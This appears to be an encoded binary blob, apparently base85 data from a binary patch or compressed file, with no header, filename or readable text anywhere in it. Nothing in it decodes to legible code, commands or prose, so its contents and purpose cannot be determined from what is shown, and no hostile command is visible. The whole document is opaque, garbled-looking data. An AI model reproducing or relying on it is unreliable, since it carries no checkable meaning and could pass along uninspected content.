zg$KI6Skk<)#{DP0&RMuV-*iC^_X6!;d+{XyOiS7<`VUHN$U_W`J%HosL);E#aW9Uq{goCwb@)K74O3F;#t3*VSD~ni$>_j zp?CJcG^6I}z~kSnc&XDo{BP=lfA-eu7d3m6=k<%qugvEwN$e!QnpI{VZ?XvSe~KJQXhhS_Bu-vvWCcin@BDC9rVa*ycYYw zPnasLH$2(E{ZrNnMNM(Wi&7GN-gx*P#>Zhiv(c#YcV;!z)naR56W+zd*+hitJp#H8 z$a?Usy{u{?q)$%@3jJ#MqMx9?P_%pWo7&j5C8j#(Y%0BD>2&^Q_?2oa1lqs*cXKE- zwfzBZ$av|MinoUP>QT|l-9RbuS%xY6kEz>Po+=V+pY~Ep{d~{6@;szN?saEic_{xu zUSm(qc1~I$xc{P}qr%Vln04L`o>DpE1ED7bXQ ztw0Y_6eQ8Mua0(5>R7A?P3Tnm9%g0VkE?P29{lg!he(+vlSTDc<{SFE%fBO<>oJ>C z*)P>j!>%Ah^TT}DGx!;6!v&#em=luM^7hfB!>tEPh%#G^lDU~4+h4#r{1$Amywc=K zgwp=WBfz*61byW-m*4T#`=9S5{&N0h`54syK)V0%TsWI51VQXky|mob25^UV?f#7E z!%abadvOmB3GIzIrw?bnF-3|B`OimJvVi#`0o*}h9uqN~afOSB-Zr<<+i47(h^YXL z-5HOX(tCubd)1+n-Z=2W$%21*UE$TT`*!V>tUnA;ybm^+`2I7X59T%TTA*SZ8lK|6TE*95m(K18h4>t7VOk?+vq6b4&WU z8KXg-v4lZGLx^9Ds|pYQzTJsEdpQ+8bY7Eq$4@r!>dt<9`P5#X+9S*GiOo-#rt$H3 zw*9<=y@P*Yy<))~P5UYVcvGoLQ)F+l-~RaC@`P07Q%Sp@W##AN7m}*gJWA@mhrN1J zlEE9L@%Hp-Z5;!;!0eIsRo8Z3=i}(hBHOBv<$=VMAxQA$=zA$@7vno>x6<*GvYS)% z&+}2|3!K}xAWenC2H3+EQ`GqU%!E*?jJ9PL4H(p z55J?aFHcQfYOh$^&h8xvgBo7O9qBPV&!0S)jAt!^5Vy~y7Pnk zFJci;7BF=9UEv6;Z@QYBMXiyebmejeAJAL80aQ9^STszu>wenqSF$tje}2!dA`cxr zwSP-=@Od4vswU_qeHf8&mSpdae_M(8Jh*ax78FvY*OawX9ybURN6c==IF%5i=C`#! zshPwMhQ03Untq#~SU4|m@lySnugUJLm`n2RpIaD2bIGP2I~@=L+|J_WC%5sQezNt{ z?7>^x;cWAcd;N&Lv-dK--rkn7MV|o}yx;1iAe6m|?`_pyH!?~=^?q3G(d9q9)SI^I zg%Fpse}R-0Qvfh7>TFA*2dW?Gkg~MA!AJaP`j4Up*zx9SBH5~}P#;@{E&Sc3eKyor zo>jnK@9f&wH~V~7;rz|v2oZO8x&MP{HveA3SNyjQMMQv%;tPDz=ML55GQ)YAj`&I2 zqV20^BmB4cmp)#ZCRyOW*APeB@Iw{*wqxD0u9ppVZHQ*#pdN#=dOqQoE%4qC4TS(F z0=A0!{a{#i-|QK*??dPr?l(Cx+y?_HfJ{o9Y?izsG@~-Ih8C|vtkAsyC*;-QN!_8( zw;H4x_Hf9_aR;dPY&d>uaZCQfW+U-jO98X>Z+&oQz)T&Qr!QHu^Uoyk&1?YZmDJ~5 zxyOY|<(-G&j|(|R(l;ri`*}fehXBzUsJX;Q9o4`|Ds7;~(?2KN+G`j0W5W~xk~K?< zcScO_tciUnS$u$-(>T5qgdDe(N8umG;w((EHgC19Utq2ut9|THQxvbiq67pJzG^{S zdw!qDP*LJ%j>EPcF9Pip4eghf%nPkfGdIg$tnZIJb?G9`oV-It+p2LVlASjdr-8N+RZ0N@x`=ZwOT}jr?3o%yI4@QmOAd!^2lFW zd}W1}hN8rD?zc{3|FyZwR*|IxX4;EqpP91xEswgVNUk5puLlETu^%d#+~SY}*?&S~ zekt7_$Zm>`>Y%){b!hQrvz-0-q(Tb{wJk1s#g045@SOnI7+$W1EyC%;{A)$d;3}Y8 z>Yq*E>m$3JXNH4z9k+e5T|c;q`g?`up`TjS7WMvAJW3N%l6pg)cZ78r`z%+a15Ec< z-x>jQpBV=EtA2LOJJTi`ahtghW^nui6{~hQg@tR_#=iUhct?o6aQQM;;p*I1^{e&= z>gz=rn!&ae(vh2Dyx2s6YKI?F2*^F-i}24eAzTk4NWCf6>KCigxv#Td*Hrf}yV2XK z0(WcJva_blKOE10b&QD%yoXPm^Cmx&bz$1Hto^%1#`yUk*iUs*>#F7cvYLHuhbLS8 z)ZF~AE*MdvF^0mG^hgj>GzOAqMh{SU5tg)v?JeN;`9pD_K&x_JS@5HPxG z^}?rgb0@Nrr%PJJMAu>R@L~v6Byg7!dO(K%bMLeU?o+#z{MxmP(p%)jkG;poM{3JE zY5m;tuzqB-T-F1)e|J5aI9+I-7vB|Lw0Vxd#(yV7yW<8EPJ!RyuBA@ECkwl!Mk29N_SB)6 z51LEn+dwWhGKbvC9 zYP#WwN()O5phQv-Ww>Bb24H2M%LRqRs1Z0an_hK<2WQlere6IlkYH+p^3kLH#WuA+ z0#f$q)`ynWX!daX^k*5~K!imP`szI`{yZAv;~+TPw$ZcN7788qMDIU`8J0#tteR^s zJ%&4|y<(I;?@(;gM*t@Lt~9lq2~DHd^K!uLlDR`?o^FhZebK<~=zF%Rm?+#D-9_-t z)3c8?WL}TCf<&)=HB+sJ)1!!Z&C$ac3~h{Wi2=;2N1A`V8$3Y<&IjAyS4YYyVFXHV zUsIgzn-gWC{v^OKeSApfTVr?Bv?z^erCYtCrd=J5d^dU^ZCYFKB=jaKXD0Tw!gZod zN(5$MuuJ+&k$`)Rmb=v4Ov{XP^>(b1`836jalfeuHcb_~|7zJ^FqK`CH}o19DBC1O zgI;^VbQFqOf3bT`;ISzimyV*qv(1|SS zj@}WiQaT4vodh~Tj(dfE@Ag`TFhoo;PUKUaS~5Yu#)O$XIJ(kR@4t|7uW9po%(z_C zC~I2YN&K@S_?3DKU=W9Xk`r|MVTT0ES(9-;5*3mNiHP3{$RL%&wlwxPwx!x64jcqTJ_T=IfU`ubr zhrsG1{4MA>w)r~`24oPUG$RQ+5pXIDo7vcu1nb&pK{zCm>s~S`eiiV-YIpb)h&U8^ zzm37L9B)@hYvet2xV=?#N{!bVPU&1F|M=X#VF}Qz!F^1Ft^*8)&XskB8F8iM&27Z{ zEPIF?-5Of&>+5p@l;OBG{Ue)V(6`ODg65pm?y~m^OH9;>OfQX5Vk9V_3XJg>G9oXP z9hA|>$pO`esP%5_TQs@8m%+>OPu|~A4Njp-YNd&&qNYgnZGA3>`q7%C7|1^D)lE&U zU|?iOMhsS(0~eg3#AtWpgtr**JpOG;efk{q=BZ+LTRYpveh1me&h-oC4cYRpn)%r9 zau#dqtQ)%@xk)|N#CSrmKdoyg$QC;iZ&d?m!V-UhpHQCM4-zc0x*SNOqvGNuh3lOC zRH}WnLuCkcaqnUV0&vx&MUGfIg+;y%FRQIS=cPTFBw#LZ{2Rbns;lsX`GD!7$nY%i zva!=r8O15}^>a(E4&7gBvSwRT5K?si`Qh_B`?^)sU&(AXVsU`!zW0s*Rj%gvUtqRM zX@2%j4YQR8!$U`1mey0*oh=B!7Ql?l!N3vt__E-{FTbGTc=gX*twS-(Ao-VHH zA{cpZ?~#`eZd~TFHb(-wz7I+-4RaokTQ~t-cm``|W14x?-p^U3)GwLBqJrOuB3W}b z4AzQQ)$l%p)qL z4{!`8F=oXbhvr;C$Hnav*-F4`7r^T$I6pz4OS8a*xA3}Y^^B767ub9I{z)Ug#5RWyKZ5Yul}JO{$EZ-z(!k_+!ol5%O-zrp7ytLo1ZmSiPK?A; zeYoiWT~*$`$QR;!XoHZ(iJ9UmP2fNPkTkWW(#0mPI#d`b8aVywU8RrG=jh)a+-~( zE#eSSQw)g0KD~_`VO_SGiE`kJ3ieKr2ISM6tdVt@GCWkzeD8-Rl6BnNFOA3SP`2@4 zVlA}n!p$imLVJd7bR!90V=u)c!Id1d>tjs(0E3v#L)NaMQl%^36-H~Zjc)%)o#pFC zVS4k#;KxpOwvKaYQNdGT%i2x_IZ_iH0JR{AB@ZBf)}7?n;f|0mej97PM{}l51zaM? z?<+@k)>6sB&|hlO`Y@}{0vax~=#}u;%`D~GgU3l%?9%q&8&@of6OVz?OAO=$Wh_y! zI9y)Z-hyWJ2P4+4c)6%69S|f4G*#04NrB&F>y3?+X8dk^(-U`Btxvpu`n=B%MtoYV z;Se26`s;Xp=)_l&`lINu!3wq+>a--@p*R&3b@OfHrp{gKw7E+|=2NMlE~tHM@DrNk z4uu*7W#Dn_+i*9o4vSw{d9Htdb8BYL$H!|A?i6?z5u=anbS3M(Z=ALYO&0~zfW-%G zqadg@DeOg&&w&stO50)7)B?5%VFI2ALS`}TMEFN24PlfVr^kZZd_DKGjM+{WK-D(I zj#{J40kYAa#M@a1SxBOAwL=IkwSc%y&XxrX`XB41cf)ASg6l7wPR@EJrbC;*yTtN?FeK)CLp$D~$-d84`^~{A=Tg{O-bK;Gn!{KmN%r3gB z@q`>0>Gms}F{D#T0@*~#Va-W*#eTh(_>5sByW24eLU-9fd%VPY+UMr|8eiuShV|s=W$GTPST3qyXSuKK} zp;3);e|muIMTyl0p7QNcpc%) zfedzPpSKY#gl7s8@7bP^Px$(QO5&ykE zXKeLJa$Gpx(|B>Upf53J-|VeNRE8p&!>1v7$&mTK-iaSoP zK}2rs=;er6bT)f%^cn|EZ;ErCx&_2TB-eVWj_4S0_9{?X>UMRH^8??;(4ve}bMMf1cA4_U;yAr0?U)NdLK?bf$B`*91)v z&Pj8|N=met&~AuUR_zjjQteRUBF}#g9MFT|)lsriqnmvsS^q~o_9Wf3`%*}IS~2Iw z?xm4nVZN(YXcyy$7;Ro#GJ^S?59g}acN^|n*Qhg``A}|5zH;IVXsN`7J*@FDIgYiq z?ik_tEio_xuptQmHS5|9_nOMugMPMud_~lM`aJjbF9;CJ72Fy*?dGioC*WhX>}F%9 zHj~Fnia8AHk_PpM4)5MAdl%Y`-xwJZlSt05>1z9K2d+LBz?%N-(E$28&QH-n;MaFa z*|0xlS1bBTy144Z`eIbM0Ca*76Us&UOXo5lhPBx1$E(Lsr$w&YgST!+JDHdn{D>sb zX7o6w-=rC!;TT}jvlr3c%1nr}Hvj5jqLtT^sqzxFh0JsrXLAntlmHbaCJ2gl>(g_w zvT`u{;=;6*wo**w%1U#`M7onftZ}8e&aCDe6vv#=;@v@-ZGS%%m;z%);@-*iW%4+F zqy>5S*RNy<-6VV$O_C9m8Cs&+wO{7U&MD*=F}^_FekPa4i zVbl#ws&$X!78;Dp$vkyQ6932KX(SsPXG|+Hnf1ZMAg36u5L1dAl+7_`VST~zs=dJ` zW%gmE#1K61$7nS##DiwwWK3>Rd`&n*X5eAZ=#3-?vzDIBCmFZ;GUfe#=gAqqF=*)# z?51tO1bSwDL#G&;8p$C`OGLRPOQI+;5?|5&YjZ~JHodGVaRkYBK(qr@3lOn+B$ zbbCi0$f4}$mPj60rsOC#e_eHjVH)(d)8s38;2^`ajH;vCH}b$<6-Tk*>#DvagR*1a zT13GO>OCFO;ZNj&qNJsX>#D^J(|?s6^)@34tf}{qB-_AsRS?5;?m0>{l;4i~;f^VluGI^jDZ!Ie-qQIR5rRpd)eOgd%BU3J8wP_T5Yn(&0kL%#+g4}Ni`PVNpm|NE7%8IX4c_Ngr)u(HXqh~c1p%9BV`L_C_`_%(?nBwg`kZ9j{aMh3>!F9&XW9kH(} z1Mpo7B$A(WQ#HJHeyT)YyHq<_+P?a)PDZNoTkTABH6J563%mkwi&cKHgx$=HGp?ks z=kGh2djqCbW!xzhxe%k=4eV_jE{j`%0D7J;_?d@8S)Sbuc7a}>zr01}M4!L$DG-k- zc)0pOxuQ&2*Knc0)=WUJzJVd%a{A-D$#z?NyYq^Pg#}t4tO=34xWf0Xe;-E>eY@`} z2Z-M5653dw9!z+af2hJo&z`U;HJZun{J@sQ3?A!g=%Rz+{-R~qI}#;qR=YO3e%(kx z#JYZkHIrY1wT{mH+t`j6Qbgg7?!_?3_}RzO-NH3WkQrQDT>K@XBCu5M{bYxNy!>s; z8$YqaUzAc9pSe9_fg4e=wmj^G>uyIwoe8Dr+Zqr0Tm&I-_fJ-_rUIT`&)gN>g(6Ew zg>=(@P>kIa;oi)>>4EOGfYT)T4nN<$edfCDkVH$A79-LzpAB2MevT_r_1}%7uRdGM zP_B!VGyF|vlNZCas1EwF%zdmV{f8$dNUq?LOP|d^zfjv%y~MwlX-U!AEQRL19E&8l z|AvTSvY@BYFJmxE61U7oEIhJsNl-Z{p~wv;oFdLFn^5L*aU`y2PG7QVOHqC%SadgD z-7Nc+ZPyq_*)y2ccld4nxQYR~FXOTKV`CXx!5@{mxv5Yl9^$9^=`V|&5IhSGqL~jF zUhC2P^f6DPx$4q3`HcCP#uIhZmzug&c9!YQ#H9Q=BFWafL0fmov;T(iVK;-U$03Aj zug_!4`Yq4Yzm=V@@Wm|GAIpNeU-oZkJMPC5wIV-mV)O3Na3kJlX6o4HwqS*K{R(s3fHQr`%kZ{_rYV4eXn@^T z<_%9{6Y|#tG|2elV28xB-G`~}e{#>9LwJg&-C6uHGK^*3*q3W&Svqj=eA?~*=cAq_ zXWbMMzr6&7%Uw+bXB%;D&LDW(PE>?C}tQ^4$4uSmB`&mYS6&4Umruj+lK znDb&I!@c6U$ebGsE8LjsD)IF^*2BoqFek&P@09~NMGDu0)Z67)uCn0QZBBAYAQ9(w z(+9a9N3w4u%7}{o%a@EjuowGA;rB3XgsZrKcg54)&M9o1gKJ2H?C6Euabl?6)^a$k+o zJRd)jcM%!IzMH9y%_);Tarwl9>O0tKrgR8nZ+DLpwxU!D0D6BpC}I2IUYoCc=WgWf z)+|^T{6&An;$#j)Z;UM(@+PWK&Y8u7^r)KssJ)+5gO*%BC2x6p>Di)g7k z=wf5=QCYf%mX=+Fpiu3*C#m}qrFqj2jPrGlc`{BJUv$j8F-V=9P3~8Rn;4D%LcN&| zd+-tjDy`Fh8{+p%cw4mfnMR0yf%^w%py*X^9x8b|p)t$p&bDwEjWOqVL%~Y*f~If~ zbx&5J6u#9pTT2ki;4pL;?$#CuE-TWs_JU{a^BT6*rZ=viVxA|w9J6hNrP^D&@s?2PM}_Zw9Sie>M@ zxH2|#Ud$jhJ(+gqoXiPwJ7sxe`d0d~=?s}IOw?X_PemYmUwemNY;zdFxfRHH&I*bx z#v)Vplv1A$Y(>105$(&lIZ#HK`u=78XY2diolV5(q@RQ!EIpVGP9A}rAF^2PZ&FdXCZl=a-`yA&8e{&XW?k8(u zprTIDf>8yCW5B5-h<_W3ziO!CbBaChJI`GV64O3FuEmqu($Pc9o zb3B&U-)cp;<|xbG?#+C!OJ)?;v(ePpQ>!~vD4Gkhs!QiCYbrk2u{QL5_$K7*JIwwl z@2~`d~7Bz`niCOo0CTduocNn-e2{Y1unb{z;npajn>gP^-}&p^btk z6rS~p&n73swH%w?Oey%Su$q*Y6jM!iwk5gg@^s8(WO@}d{(g-~E{nNaBq>;gom1fY zl=407ukcBLYyHO37c(^Ii(=>wIXiZwXz|8K=0WD$p9^v+L3U(lmpU1R_gtep&KshV zkH_d;Hot7Oe*uNxEbzYlo%Kd!R|1VcTzIgIYbND-YZW;LoYZWIPt3FFp*kcNA58is zR%`m2%A@hXNWLo(o4O!o(U$i4>V807%#v72jk1_rTNU2f4BlTqN#Vap^=5ofQB)K; zyX5fCjcl+&G=y5^OhM;_@_Reyn2zBxyp zadK?Wmx~Rh3Y$jO?TCE}?m3#&S;WG%xzRHZyHzPXbv`w7N=LwpRVjK;TxkobzUQ!p z89dPK|CRbU*07IM^%K1gDy5_bP$Y~!VsMyE2jAxOAzS+u$@FI@_ohO<&wDEN;o@%H z?l8~3)OLERTxxB1Q!FM!^?`OQXc>Ft2!N7@QWZ-Zezw$!S8Z6$7>?toLX5}KdRiAB zAlv0rzKyDe9LBwGCA1q1MP*I|msv!a4a&=Mq7qb`ZQ5c9M|PhJqo%xMFS*$YeP@To zjy-e#Qc2Er${l?`J=cG6uk%#DMdq&~h^ADGDgh0Kt70H#G5>K3}s zopt*nY}GuUjeo`49V~4=rTe2raMxjeVsca}>!kZG6=JS8I3`UnvkLX5wXOc4Zljc* zM(V%g;0J%d42Un77|Y+zg-eF08of?XZ(n6BB!4Y=+{y!rEzA3ql5o0hSO2S_BuvEa zU&7aJ{U>5PLnSKM0U=0dUS}-@N~>w^E~aYXZdtt1USOiPtg7+Xxj>BU-0bs>hhs$f5G|XiSdDhmNl~Trtk_hyN5)T+U37~3WPjR@@?C?dbq?ph0!(4c;OY4f zg>6-yLE!18EqW^Ze{BMCg%?Cx5Oz_Y=NLF2zXiH_);~}7uT`9DNr7{VM;872*rx#B zAMw0%SYA9+FgWfOsF0>!XRywEE6R7ZcPOOy_w0#$(AoVhLtdgHYx9Cpr>!tUo;0Wa zm@Hk}<#N}SJ9!7K>ofV6nImLZEEYco*ywVm18~xKX~IiUJ&Xlt{fW&uEzvRUtr>Y^ z)h)E8+=~y%qi0Jf=rUa>9IqI2&^zT?56`_7FI5e~-bw3CQ(`2dJs4aNqmJhdx2p+}8^6wxrOC@hV4#YfOKKk@y*eY6XF+h7F5Lt=NKUghW zkX*G{k~4qt!3BB;?KK~<|84}NSk}vvEb~S#-fyPhfhAVq`9ovTjVXj%EDEr}VC;$?%AQBQI2Sm^yx+G~$oqDW7h<#Q z{9C$*Ng@s!AUED6n?dlY>s@q3c*bpj(PKm3brCoj?hL}p_34Mwy(69fl*uGQOLD$t z@m&xZ3e?`y2xyc|OsGzMqjew$83{%+gu&swRzdE9SqIucP!74|UvsvHEs*)cLpEX%36}gQ_`0_tQ_1on{Xfm2uv~+d+-g6B)|h@`IzCBGxE+n(sl? zQcK@oe5?t$h!YjF)}6wCu$sEb={j8gQt8FvAqJy`3n`8q@UJnd-=UMEGW^fqpt9vwaF+5`;c_}VG#Rmb-d zS`62U8C*5Fa{dwM>Q!ku^?pxtsHN9sa>u%Lff=Eq;9YK~SoAhk_1};)A3L`M>Zbv> z#HYk$cC`N2WcDYIdK1CbX1$4Dgq$C#X-YUhvUvAhs4zV1yU^EuYvvK~Z);{tmv6B6 zH!r`z?ml>m%ou*~ROf#%PVWD~@K*l^^ZVI6fOuA<^9S9%kE^-}()c+RInN7L=>yX$Wj zpIX&dHYZq3?Ri=V@7xcFm6GrKTjaa^l<#TPYxz!l_9`Xb$;^R@Un4dH>lPq+lo!zO zyMyIIL#WRDeoesW+r{UIXziEoNE*$)AB$Yw4C~n8H=C+YVX6T&bJ@GlHJPn_i8ZK5 zM(Ww0UiG@bT0@1gW^HBfEq}|tAM+0@_bRfK)hAtYiqcVDuZz%hP%pz?rUYr_8O!yk6bh#R)RYqCZIb`$&UFZ{_m?j6 zteCCPP+y6!PsCho^?5rQX3id`f~AdK&xJJZNBs^<&tXzml)SCn`-UI>{(;Wt;)wM) zraVpqym-vNk{@}$T{4rnmC_TtzbJ{tHM7WSmU0c#i{=HP9{lz2z%3{0K&{F)_%Z%k zekpQt8n*}JGVeV~?hW34U(8rqGJMO%+*sS$c%!~JeWBQ+Lgwbpt_W*|$HC3yai7fl zlRN(1Y;khY(9=*<9%Sq;_-+ejdGa%9g0XrkV?su-I7R1E=HcoG_4C13EIu}% z^XNC*S~cE+u~CEjKLtW1OWr%C5fW-3krbwi9(T7k?`@l|HJaV)r|SqQXHR)qA#f`f zV(3BB-?x-ImD$@`{tyxqzG!6Q+zM<(RMgX~QDA~ux3z5{S2cd6zW#u<5z-qyr1y3% zl8)ETzOaBFyA8Kf*iT0LH*{J$>WLjCKeziwrv^9`rnJAIW>61|IWdZCRo@%5ucKUK z03$k8uSqe1kvE6wC>Lo?6=`t%%a6zo$=a-!7b3E6ggqD8jHg&6Km9`qk@BhRydtY% z!9HA`B(oyV4xILfE?1L5uQj)JHgu{}XwWnpESpD!(u7g@6m%MW=Ojmx*qg8T zgZU$lxyg)&kE6i?!)atA7R&i;&3*TStF4x~Y1JGez0Hldox2%QGwY$KpkZ&$RCT% zhUGIu$12{t2@vk0W?)5{Y5=tOG(qvWjcJ=02WCdSeusa7bQ8d%gpYAdV-AsEZd67( z-VZ6J|D{8qTJLfab|rj}h}zNHLfl0bJ({OOJGzKnLmx6v2|}*TBp_GCc@94@5wFe2 z2y4)8y9pC0emMMJ`rGEg2gRL}w07m4pV`21WFuCj7=aVWq|BEsY3Cbs3M<*b5oA*m zq_7rNbkebb-;n`JI{&bP8_0r|BuCoW!0BXC>YpCpUyCBs^&GRzsQl z+G*j`eqfxJtY$zwS+6H>xfxloXPfCY>Q>*GYyp|PpW{8#KKQ-N?k)Zxdy zUFM=_um}oY>maB>*LV8^)J2ROZ3%M|s_t49KzR${$&e{Z2*E`@l9SF%Qo6VssM|2b zZr_{e&(ljxfQUXRr2k_=6)aoOJ{Ei*H3{p8ZQdo=93&iXr(#`84kNJvd)_dIJ`zvo zev@mc5n;RlQu}*{Ac2X0iYZ7-jTWs;0y>Pw)1w`pXvi|3_mHrkl1xOhZBBtjDiT*Z zUtVoBW)gvL(m4q4dIuXC=)`TxU`K1Ybnu|>@b)oG96PF+YU8X*4pWziu}wZMal<8BFv!#N_rGcDOC`{u${efsWYDlhPsr~qHEG2@}#ym zq<$St^XmW>)N>+(wEcMXm5InUgVqXD9AkVKMxW{oOVc}_Bqis6j*_BH;3Ju!$#{BS zS&SmGX+ylb+@~9q|Lnn!UC=8$##!5OvOztyArmd3p z%aWqxkg&>Sla?*Cmxy&BQA05LG9u~H`Q%aFFFLfs_({&03ahFh|K9{WR`U|FkHyoX z>G~1ezI;D2BC$oJGXx^G4?2|p$nGATMjwZniv z%oD-fq`is);S#8!+73bcZoVMu zgo$BHk$QsF+HE{DQ^NOGE^eU|ze9xxlBuDvnqFT?XwaoFPC)`MDGsE*5%H2zBM5ovl7@yu44%W+n^%naFcHszUWZu;Lns!e z*!NFtnS%7@xzql@0KKaZP()4AI3@I_@}Mua5Sp-fClVjlu_YZ-;0h% zILf^uSV!ER3o49680XCkWClc?(lHTfW~6j*EU85>VASf(*(sj5y;fljp0psC+j5|e z8fTL*YUqi^Buq@0KLTvZ3uS`xG)bX6-|?xVs@_3FP!2*Qeb99g<433Y*lDS;HmRca z-xU}k9rV<0p%qCnZzDsKAv+$mF`=i9z=_S*w>bq7H_#-tSS3xMB7GtgYJo}WQQM6f z@$P-t=^x)#VXsFxdt@akUd=I>(C6QagbNc_fhgnueM!c1qZvm%Ct*Rl_&e9oYI`Fv z#$G})wj7Lz2h+BAi=Z^7ixXjX0U7DPy;Ho-b#`W%oBx|k&9qBt-ON*Rog z0+W>IQ5Y@84e2ICl2SK8uSaU+=$of)Z+KC;Ft=6gv){^mCr=tccaf%~oVSr?w(vm| z_!`QXnNh2aHMJ6^sC^lNOcUf!Xl5nVry*L6$#=@;UM{nDB$x^%$vmRd#!hPMCS8)6 zE5JAfQaATwNeW0R$h*iSCR4pOF0{Q8gYZG>DWl*b1KJEJMXIAV@-ZpBHeu9LWD{v1 zV!75}lhdZ@h*L{RK*H&B<}}S6(tyyNCr69$7BP2FZ-)vVM3N*j$R|vj8;M!d3!+|_0EyW=eb!VWSWk_yYafOOpf&pu0pH#; z>Q1wx?;#hMfzhPS)h2cBK_sc707BvNC~aoa@DjLd#e{lQQlqU#HDbziu6y|o22BOC zp=5n=dN?L~F`^S#+gY2*vW2jy`yEvFCWreo?Y_i?svHchBulk8dhxy4+-7Ck>Kvmm;Szg?#bTSIkRVHBhPcQv+Vi}>bPuP z7%7LU)dlgRt7Y;)OT0&U|F|(*U5=zt-Li?bKNGvRfD*Z~NIII@Vs?Fg^@H@T$T8PZ z0M_r_6sVyXnJWpXlFpLA0FXD3Fzeu~aI|n{NIBGS3i-X;4(*U1S&<2dEol&76iKpB zZYP7nK>1ouO77@R`PwfiPy)_I#=yH}Of1p4GIQz#c1i1Uxm7C!nN_XW00L4LvpFHa^9kbT(rvc|RghE-i0C)dXcrrZKU2*UQ zkAbRQjDsqI3Y2bu3e-VL zkgkU!d&)V~2o)&OI~I`LERqtW^_cFPIMxT{7M6lwLb)mOuPmW(o_|FM1&6|hRA`8E z6)z@ez*c21QYb8{X%9mKHUrTAX=h-F`^PEEp!9DF*%`v1fxNI%XrXcWQpS>?0R(|# zN!pLK^>?KW|8mAr_VW3E86=&AvRndU|E1?sN-0#P7jH@_)NeU+Z1$hu&oK-rSvyY( zmG)!$TFTh$Kgb#5fZEm)$2g#^6M0A&6nszBzJQIP;msJp|0WHdfkf-^-S|`qLI)L* zThx#MjXPXM`u_=x{Ws_248zb!UL+|BQ0>sw>I8)iF$f{5L(G45d&F z(EQ;;DKSc&`Jp7;<%0hb2V2(l6AInsS$$Bq8i2vS1#$;4_{W?I@K1)?CIJTjC~Z2! zU;bsBRqfFUN@JLJg{|>cS@l|;H43#R0Sv~VU;;20f&vx5;NQFo0Sx}J+5sm2&5IA< z4Fl@ms{DxbPg$umH?*~=$`=NWQCZfN2nELStZ}G=8NmNv3o7tmjsXlJ|CVw)z&|79 zU1`Ce;y!WvYSb-vYOx%vL$C*8lJ!-8gYNp5fvW+;=v2A{5iXO@K&GylN?I!RO*{cd zdW%#@ZrZ^fHD<3YzTlki3Ua_4iS9H9EVRS*8<{EtuFe1z5k2k_IRkX80%*Jy_0F$^ z3xLC{ujiJb_9{)`g~+iw=d_mS(xrSyV$-;>ijJ-nl6|CpLkSp?;=E7Eg`XokF0)Q; z2AsLm_HEw`nJhx|YNID)ssie&o`nXc!MG_dP0@wpxPFr=#Jjl#cBF%1Z}-?u35DhH z0g*X7mZZ>|#ia0JZ}hTzmN3vpI;q>f>Y^Up6*$aOM_K!xTP^%05a43 zu{2IM_>#+{#m*ALhBo}tPNZZ-bQy)(q<#w1rm_8ePZ0$Pq=&puF$Hg3<>D>(1(qMv zy^{iK+hkFMt+z{?-pUO3V%hyA@c7-#y#0l5l9uJiYmr)MRBnW-d)CN76yG3Gt7%tW zGqi4eB06D?uZBVC{#f}7JYIh1JCUrvjMZv9lNl%TBgfme`D=LLaRVNb=G zYtqK>bboC>>p5|03W~n0RP06O>p6iHYuXYSg~#x6iz5HD7eq3$z)4bR+7k8RN~;ad zR;O*xE2R|>TX)x2m}=5x{PKFxGk!!XKj{k zu)dpln^ncWF2FepQ7!5MD(~qR$9M1W(f7T7>9KZcoWs|Y2E-l5?0TQJZT!^f#;x%P zKej{Yj!cyYw`(|%E;9c0HVJIoI7_u1JnBm^pDci|o>8m2Qm(8Xd~_D@k;&p|i}oz8 zd3RbrYgBMkOzG&AjS_9`QY{`Q%O8(&T!iUZ8pZZm`YPBTc+{s z&Ca+x>Z<%?b=2HWX6)qEOTUO3h*1&n^fcfX%>Fm!b7M5&qg9V|lN7&6WBEyG&J6=|zvxHPjk35{>>GK_rws>YX&-v; ztU|q5S^A9OY2#Q$72Hu3Y-s|z8E4MS!b)5(7tVAlf<%JjZq%5HyFAux|Mz$_$^oxQ z1n2IAT&(U&{iWi2XI$B7zF2-o&X|H)US|khXn{WII&t4VD{lAbbO4`sbiv11240;X zDjEdj6ke0$+kA{K*^rY@i^qOx2YlexBYCL7?g-?wsEBhiSVbT**7*ibT8REBxNwjZt;iBqx||eV`G!e6 z8(aH?;#P{5R_CIXb^2{~XQNf?eL9T4-iS7*VlP&wqnY6M{wx!(%}6m`6f07n*Pan# z&~<|xd!N^wKlD|aoO@sUIfaJ^?>+zD{~R}NR(o)=)-kw0^Ljj-8lq3WXy%7IyiSHb zmfVd=(Nz)A)o{JZ6VoKDPs_$W+K_c+oU}Q9DPiXMFg1?2HN7iS_C#9;=RTI@ zOZWB{BrgrJa)>r!#>`>tEQQA!X9|d4Bu0 zb4l@@r)T@p#?gga<+^vfGX;jx{fX`@qD;*xU5`|ydk`lVe>fJU2eE>OgCY;G!x5vwDs zXEf!kzC#ZPa%D|>tSXTJ-dcFm>MyWG36$Tjzh-~6Sqjl@O?%DSF?t0br5bw7LR|0l zF!RQ;%z zCv9T2{Vcza^2yZ1|CRO7pB$~rx?VUWumqu(YaAzKxnX1L;xW7XgN5a$Vb34|m-4H=I+FPHPe-w%r-Wx37*e*5I7{!>=2N&juf9CZlZH z1ooG+2<9%VS3bAL4dGb)`MWDf%P;nY?=b_1RqP}0^1!F73lDm&4q$3*DubMO1rT@E z&3J)Nu6Lp?%P@REUC;`0nkBF@zu;eEuiZ0U_h%)ZQ_w+YrY1#b`zjrncvtf{H%YYC zApBj^8(`Z;|3qbVd%O@;?o>(X3AkW&J|Gu z8g6M1R=oMGd^O?&YI~6E92#X`qcHzQe{))3ZpFK2BhcDPSHin)@y2h^jIzL;r>*}l zx->^JT()|z!2Z$TeyW#(xyFdEwJIpRcrfRwuD7!2hj*ZnIqd~DWi=9#j?*-AB?cq> z8b|A6weQnuDjqf8^SXxeFw&pf+oI650q2&6aW_7oc&0oh?BT=l98GeFWm{so@-?Ne zJ8zm|@>d;mKP`JUp>xwysrhU2JI-V0(fN)wjE4|D5roaB)B@D?@O{B@)=(^6^VX_g zoW`bPF1lMkHZk2&Jye@GEF9Ly7?7NO>;ojDbeqz(11KT1^?!m=gM}Apg>(nI>%m^a z8Z}5`~`i9WHGPIa|HoGa9f*`IBeEiWlL))Rj&f7qv zbxC-+5UEndq^c0J_jpS2+d6@`R9JbeBFZZgcuUKOhc&sqrkm{-i1wrXdt7@+6rUzf1~SreHSX;<`8G^%jGe$8#BCeq35?J`qTZU*+g== zA@WLSIgfMNrsC1GjO#)cha46rR+=}A^~|Do%`P#Yi_GP!l+Aq=7lEh@zUzSk_F5r{%AIJh@8^KH&YL}#fdCd4;)9anjpaD9_i0=z?Ne=6;x zEqMd7}Df_Km6ssa;^BTQ6rXMQHtG~_Yl~tF@wZ^VWeb!Y7 